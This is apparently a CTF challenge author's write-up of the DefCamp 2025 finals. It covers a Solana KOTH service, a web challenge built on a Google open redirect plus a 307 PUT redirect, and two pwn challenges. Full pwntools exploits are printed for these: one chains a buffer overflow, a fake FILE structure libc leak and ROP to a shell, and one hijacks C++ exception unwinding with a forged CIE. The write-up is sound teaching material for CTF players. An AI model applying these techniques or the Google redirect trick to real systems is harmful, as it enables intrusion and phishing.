DefCamp 2025 Experience
Things I did
For those interested in the write-ups, scroll past this part to find explanations for how the challenges I created were supposed to be solved.
I authored some challenges for the main competition, which combined the winners of TFCCTF (organized by me and my teammates from TFC) and also the winners of DefCamp CTF quals.
We had a unique format: teams of 5 people compete in a CTF and a custom KOTH at the same time. The KOTH was structured in a way that “the hill” was basically a ranking of whoever was able to make a payload of the shortest length to solve the given challenge; the better your ranking, the more points you generated every 2 minutes. For those who don’t know what a CTF is, you basically receive a lot of challenges from different categories and have to do your best to solve as many as possible.
While I was there, I also played and won Man vs Machine hosted by primesight and shad. I have to say it was a cool experience; we were given 5 websites simulating some real-world apps, and the goal was to recover 3 flags from each of the sites as fast as possible. The top 3 can be seen in the picture

My challenges
solflare
I authored one of the KOTH services. While the other 2 were a website and a Python jail, this was a blockchain service. I spun up my own infra for this :D
The idea behind this challenge was that you had a binary that ran Solana modules provided by the user. The game loop was that my binary provided them with an ECDSA signature, asked them to verify it, then repeated this 100 times.
One solution would be to actually verify the signatures; however, this would result in a very big file, meaning other teams were likely to get a better payload than yours.
The best solution I could find was to check if anything was signed in the last block; if yes, output 1, otherwise 0. This meant you didn’t have to check the signature at all.
minimtib
The first one I made for the CTF was called minimtib and was in the Web category. I got the idea for this challenge a while back when I read this article about scammers abusing an open redirect in Google (that is basically when you click on a link that starts with Google, but you end up somewhere else). In the article, it is stated that there was no way to generate these Google links for whatever redirect you wanted; you had to have that URL indexed by Google to be able to get a Google link to it. While reading that, my thoughts were “alright, bet” and that’s how this challenge came to be.
After some digging, I found out that I could actually generate a Google URL for whatever I wanted :O
Anyone can do this themselves with just a browser and a working computer, open Gmail, embed that link in an email, then email yourself so you don’t bother others, and lastly, right click + inspect element that link, and there you have it

The second part of the challenge consisted of a random bit of knowledge I found about redirects. You had to redirect to /flag and have the method be PUT, in a normal redirect with code 301, the method you are using is always transformed to GET, however there are actually multiple types of redirects, this part was created with the one with code 307 in mind (link to documention) which actually keeps the method intact allowing PUT to go through.
At the end of the competition, this had 4 solves out of the 18 teams that participated, so it was pretty hard.
void-zone
The second, named void-zone, was categorised as Pwn. The binary was quite small (source code below), in addition to this source, the libc had a module attached so that the function gets does not append a null byte after reading your input (more on this later).
int setup()
{
g = (FILE *)stderr;
qword_404148 = (FILE *)stdout;
stream = (FILE *)stdin;
setvbuf((FILE *)stdin, 0LL, 2, 0LL);
setvbuf(qword_404148, 0LL, 2, 0LL);
setvbuf(g, 0LL, 2, 0LL);
fflush(stream);
fflush(qword_404148);
return fflush(g);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
signed __int64 v4; // rax
char v5[32]; // [rsp+10h] [rbp-20h] BYREF
__int64 savedregs; // [rsp+30h] [rbp+0h] BYREF
result = gets(v5);
if ( &savedregs )
{
if ( (unsigned __int64)&savedregs < 0x7F000000 )
v4 = sys_exit(1);
return 0;
}
return result;
}
The protections for it were as follows
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE 0x3fe000
The bug is that the code is running result = gets(v5); meaning we have a buffer overflow with almost infinite space, should be easy, right?
After running ROPgadget and looking for useful sequences, one would realize that they are in for a bad time.
Let’s focus first on what we can’t do:
- Full RELRO is enabled ->
ret2dlresolve&got overwritesare off the table - NX is enabled -> we can’t do shellcode shenanigans
- There is a weird check after
result = gets(v5);that should stoprbp overwritetechniques ROPgadgetfound no useful gadgets -> we can’t do any classicROPtechnique
With that in mind, we start thinking, “What can we reach?” A leak of any pointer in libc would be an instant win, as that means we suddenly can do ROP using the gadgets from libc, but is it really possible?
Well, we don’t have any classic printing functions, but fflush can print data if we are able to fake a file structure and pass it to the function; however, at this time, that seems like a far-fetched goal.
Going into the assembly code of main, we see that result = gets(v5); is not really what it pretends to be
sub rdi, 8
mov rdi, [rdi+8]
call _gets
We are actually calling gets(*(char **)((char *)arg - 8 + 8));, this means that by jumping after the sub instruction we can write in the pointer stored in rdi+8, this means that if we can place an address at rdi+8 we can write what we want in it, this will come in handy later.
Now comes in some random bit of knowledge I found: gets places a writeable pointer in rdi after it runs, namely _IO_stdfile_0_lock, this means that by calling gets twice in a row we can actually place a pointer at rdi+8 (please note that the space between rdi and rdi+8 must be filled with null bytes so as not to break the filestructure using _IO_stdfile_0_lock).
This now means that we can write to any address we know, and we know anything from the binary. Sadly for the competitors, Full RELRO was enabled, meaning they could only overwrite the data section.
Going back to the setup function
int setup()
{
g = (FILE *)stderr;
qword_404148 = (FILE *)stdout;
stream = (FILE *)stdin;
setvbuf((FILE *)stdin, 0LL, 2, 0LL);
setvbuf(qword_404148, 0LL, 2, 0LL);
setvbuf(g, 0LL, 2, 0LL);
fflush(stream);
fflush(qword_404148);
return fflush(g);
}
We can see that stderr, stdout, and stdin pointers are placed in the data section, and the flushed, now between the stderr and stdout, there is quite a lot of space, meaning we have enough to place a full fake structure. What is important is that we are going to brute force ASLR to get a valid vtable pointer from the stdout pointer, as libc has a check forcing any file structure we are using to contain a valid vtable pointer (this is also why the appended null byte from gets was removed, making the brute force way smaller).
Now with a libc leak, we can just write a ROP payload to an empty area in the data section and then stack pivot to it. My final solver was
from pwn import *
e = context.binary = ELF('void-zone')
# env = os.environ.copy()
# env['LD_PRELOAD'] = os.path.abspath('./nogets.so')
# p = process(['./void-zone'], env=env)
while True:
p = remote('34.40.11.0', 31253)
payload = b"A" * 0x20
payload += p64(0x0) # saved rbp
payload += p64(e.plt.gets) # write in writeable addr set in rdi by gets finish
payload += p64(0x401251) # GOOG GETS GADGET
payload += p64(0x401220) # FLUSH STDERR FAKE POINTER FOR LEAK
payload += p64(0x0)
payload += p64(e.plt.gets) # write in writeable addr set in rdi by gets finish
# payload += p64(0x401251) # GOOG GETS GADGET
payload += p64(0x401230) # POP RBP
payload += p64(0x404f00) # NEW RBP
payload += p64(0x000000000040127a) # leave ; ret
# payload += p64(e.plt.gets)
# payload += p64(e.plt.gets)
#gdb.attach(p, '''b *0x401251''')
p.sendline(payload)
#time.sleep(1)
# MUST BE NULL BYTES
p.sendline(b'\x00' * 0x8 + p64(0x404060))
got_addr = 0x403FE0
size_to_read = 8
payload = p64(0x404070) + p64(0x0) + p64(0xfbad1887) + p64(0)*3 + p64(got_addr) + p64(got_addr + size_to_read)*3 + p64(got_addr + size_to_read + 1)
payload += p64(0) * 4 + p64(0x404f00) + p64(0x1) + p64(0xffffffffffffffff) + p64(0x0) + p64(0x404f00) + p64(0xffffffffffffffff)
payload += p64(0) + p64(0x404f00) + p64(0x0) * 6 + b'\x00\x76'
p.sendline(payload)
libc_leak = u64(p.recv(8))
print(f'libc_leak: {hex(libc_leak)}')
libc_base = libc_leak - 0x7f130
print(f'libc_base: {hex(libc_base)}')
stdout_addr = libc_base + 0x21b780
# MUST BE NULL BYTES
# p.sendline(b'\x00' * 0x8 + b'\x00' * 0x10 + p64(stdout_addr + 0x48))
pop_rdi = libc_base + 0x000000000002a3e5
ret = 0x000000000040101a
system = libc_base + 0x0000000000050d70
bin_sh = libc_base + 0x1d8678
payload = p64(ret) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)
p.sendline(payload)
p.interactive()
One unintended solution most of the solving teams did was just brute-force 1/4096 for a one-gadget.
This had 4 solves out of the 18 participants. When I made it, the intention was to make a medium challenge, but it seems that it was too hard :O
cro++
This was my last challenge for the CTF, it was Pwn like the last one and rated as hard, it was not solved by anyone during the content, however one of the participants solved it a few hours after it finished and already created an amazing write-up for this challenge. You should read it first
https://larp.win/posts/2025/11/defcamp-ctf-finals-2025-cro-/
What I want to add is that when creating this challenge, I didn’t realise that the C++ source was public, so I just reversed it myself, meaning some of the structures in my solution may have the wrong names; however, that doesn’t mean it doesn’t work.
I used the zPLR flags when solving this challenge. This was my exploit
from pwn import *
context.log_level = 'debug'
context.binary = binary = './cro++'
elf = ELF(binary)
host, port = '34.40.11.0',30568
def newp():
if args.REMOTE:
return remote(host, port)
elif args.LOCAL:
return gdb.debug(elf.path, '''
b *_Unwind_RaiseException
b *uw_init_context_1
b *uw_frame_state_for
b *uw_frame_state_for+0xa0
b *execute_cfa_program_generic
b *win
''')
return remote('127.0.0.1', 1337)
p = newp()
win = 0x401b46
#buf = 0x41d080
p.sendlineafter(b'exit\n', b'1')
p.sendlineafter(b': ', b'38')
p.sendlineafter(b': ', b'256')
p.recvuntil(b'a leak')
buf = int(p.recvline(),16)
payload = b''
payload += p64(0) + p32(1) + p32(1)
payload += p64(0) + p64((1 << 64) - 1) + p64(buf + 0x28)
payload += p64(0) + p64(0) + p64(0) + p64(buf + 0x50) + p64(1)
payload += p64(0) + p64(1) + p64(buf + 0x68)
payload += p32(0) + p32((1 << 32) - 24) + p64(0) + p64((1 << 64) - 1) + p32(0)
cie_body = b""
cie_body += p8(1)
cie_body += b"zPLR\x00"
cie_body += bytes([1])
cie_body += bytes([80-8])
cie_body += bytes([16])
aug = b""
aug += p8(0x00)
aug += p64(win)
aug += p8(0xFF)
aug += p8(0x00)
cie_body += bytes([len(aug)])
cie_body += aug
cfa = bytes([0x0C]) + bytes([7]) + bytes([8])
cfa += bytes([0x90]) + bytes([1])
cie_body += cfa
cie = p32(4 + len(cie_body)) + p32(0) + cie_body
payload += cie
p.sendlineafter(b': ', payload)
p.sendlineafter(b'exit\n', b'1')
p.sendlineafter(b': ', b'2')
p.sendlineafter(b': ', b'-1000')
p.interactive()